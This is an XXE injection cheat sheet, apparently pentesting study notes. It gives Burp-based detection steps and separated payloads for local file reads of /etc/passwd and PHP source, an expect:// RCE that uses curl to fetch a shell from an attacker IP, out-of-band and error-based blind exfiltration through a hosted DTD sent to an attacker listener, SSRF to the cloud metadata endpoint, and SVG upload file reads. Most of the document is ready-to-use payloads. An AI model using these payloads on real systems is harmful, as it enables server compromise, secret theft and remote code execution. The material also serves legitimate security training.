Web

XXE

XML External Entity injection from the CWES path: basic and PHP-base64 file read, expect:// RCE, OOB/error-based blind exfil, SSRF via XXE, content-type switching, and SVG upload. Every payload separated.

Detection

Step 1 — Identify XML input

In Burp Proxy → HTTP history, look for requests with:

  • Content-Type: application/xml or text/xml
  • A body containing XML tags (<root>, <data>, <item>)
  • Parameters that accept XML-structured data (SOAP endpoints, document upload, config parsers)

Also check: file upload endpoints (SVG, DOCX, XLSX, PDF parsers all process XML internally).

Step 2 — Test if external entities are processed

Inject a basic external entity and reference it. Use Burp Collaborator as the target to detect out-of-band interaction:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://YOUR_COLLABORATOR_DOMAIN"> ]>
<root><data>&xxe;</data></root>

In Burp Repeater, replace the request body with this payload. If Collaborator receives a DNS/HTTP ping → external entity processing confirmed.

Step 3 — Test for in-band file read

If the entity value is reflected in the response:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><data>&xxe;</data></root>

Look for /etc/passwd content in the response body.

Step 4 — If not reflected, test blind/OOB

Entity value is not shown? Use the OOB exfiltration or error-based techniques below.


Basic file read

Content appears where &xxe; is referenced:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><email>&xxe;</email></root>

PHP base64 read

For files with XML special chars (decode the output):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<root><email>&xxe;</email></root>

RCE via expect://

Requires the PHP expect extension:

<?xml version="1.0"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'"> ]>
<root><email>&xxe;</email></root>

OOB blind exfil

Host this as xxe.dtd; the file arrives at your listener base64-encoded:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
%oob;

The request body that pulls your DTD:

<!DOCTYPE email [ <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> %xxe; ]>
<email>&content;</email>

Error-based blind

Host as xxe.dtd - the file content appears in the error message:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
%error;

SSRF via XXE

Reach cloud metadata:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>

Content-type switch (JSON → XML)

Change the request header, then send an XXE body:

Content-Type: application/xml

SVG upload

If the app parses uploaded SVGs:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="file:///etc/passwd"/>
</svg>